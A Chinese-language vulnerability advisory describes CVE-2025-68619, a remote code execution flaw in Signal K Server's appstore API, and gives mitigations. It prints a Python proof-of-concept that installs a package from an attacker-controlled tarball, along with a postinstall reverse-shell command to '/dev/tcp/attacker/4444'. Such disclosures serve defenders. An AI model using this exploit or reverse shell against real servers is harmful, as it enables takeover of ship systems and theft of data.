IPBUF安全漏洞报告
English
CVE-2025-68619 CVSS 7.2 高危

CVE-2025-68619 Signal K Server 远程代码执行漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-68619
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Signal K Server

相关标签

远程代码执行Signal K Servernpm权限提升CVE-2025-68619appstore供应链攻击

漏洞概述

Signal K Server是一款运行在船只中央集线器上的服务器应用程序,广泛应用于船舶自动化和监控系统。在2.19.0版本之前,Signal K Server的appstore接口存在严重的安全漏洞,允许具有管理员权限的用户通过REST API安装npm包。攻击者可以利用npm包管理器对版本参数的处理灵活性,通过构造恶意版本说明符从攻击者控制的源安装带有恶意postinstall脚本的npm包,从而在服务器上执行任意代码。该漏洞的CVSS评分为7.2,属于高危漏洞,攻击复杂度低,无需用户交互,但需要管理员权限。成功利用此漏洞可能导致服务器完全沦陷,攻击者可以窃取敏感数据、植入后门或对船舶系统进行进一步攻击。官方已在2.19.0版本中修复了此问题。

技术细节

该漏洞的根本原因在于Signal K Server对npm版本参数的安全验证不足。在appstore的REST API端点中,虽然代码会验证包名是否存在于npm官方注册表,但version参数可以被设置为任意的npm版本说明符格式。npm包管理器支持多种非标准版本来源,包括:1) git仓库地址(如git+https://github.com/attacker/malicious.git);2) GitHub简写语法(如github:attacker/malicious-package);3) HTTP/HTTPS URL指向的tarball压缩包。当npm安装这些来源的包时,会自动执行package.json中定义的postinstall、preinstall等生命周期脚本。攻击者只需创建一个包含恶意postinstall脚本的npm包,并将其托管在攻击者控制的服务器或git仓库中,然后通过REST API的版本参数指定该来源即可触发代码执行。由于Signal K Server通常以高权限运行在船舶系统的核心位置,成功利用此漏洞可能导致整个船舶网络被攻击者控制。

攻击链分析

STEP 1
步骤1
攻击者获取Signal K Server的管理员账户凭据或利用其他漏洞提升至管理员权限
STEP 2
步骤2
攻击者创建包含恶意postinstall脚本的npm包,并将其托管在攻击者控制的服务器或git仓库上
STEP 3
步骤3
攻击者向Signal K Server的appstore REST API发送POST请求,在version参数中指定恶意包的URL或git地址
STEP 4
步骤4
Signal K Server将version参数直接传递给npm install命令,npm从攻击者指定的源下载并安装恶意包
STEP 5
步骤5
npm在安装过程中自动执行恶意包的postinstall脚本,在服务器上执行任意代码
STEP 6
步骤6
攻击者获得服务器shell访问权限,可以窃取数据、植入后门或横向移动攻击船舶网络中的其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-68619 PoC - Signal K Server RCE via malicious npm package # Target: Signal K Server < 2.19.0 TARGET_URL = "http://target:3000" USERNAME = "admin" PASSWORD = "admin" ATTACKER_SERVER = "http://attacker-server:8080" def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/signalk/v1/auth/login" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) return response.json().get('token') def exploit_rce(token): """Install malicious npm package via appstore API""" # Malicious package.json with reverse shell postinstall script # The attacker hosts this as a tarball on their server malicious_tarball = f"{ATTACKER_SERVER}/malicious-pkg.tgz" install_url = f"{TARGET_URL}/signalk/v1/appstore/install" headers = {"Authorization": f"Bearer {token}"} # Version parameter accepts arbitrary npm specifiers including URLs payload = { "name": "@signalk/plugin-custom", "version": malicious_tarball # Can be URL, git repo, etc. } response = requests.post(install_url, json=payload, headers=headers) return response.status_code == 200 # Example malicious package.json content: MALICIOUS_PACKAGE_JSON = """ { "name": "malicious-pkg", "version": "1.0.0", "scripts": { "postinstall": "bash -i >& /dev/tcp/attacker/4444 0>&1" } } """ if __name__ == "__main__": token = get_auth_token() if token: print("[+] Authentication successful") if exploit_rce(token): print("[+] Malicious package installed, check listener for shell") else: print("[-] Exploitation failed")

影响范围

Signal K Server < 2.19.0

防御指南

临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:1) 禁用或限制appstore功能的访问,只允许从受信任的网络访问;2) 配置网络防火墙规则,阻止服务器访问外部未知URL和git仓库;3) 监控和记录所有appstore API的调用日志,检测异常的包安装行为;4) 使用应用层防火墙过滤恶意请求;5) 考虑临时关闭npm包安装功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表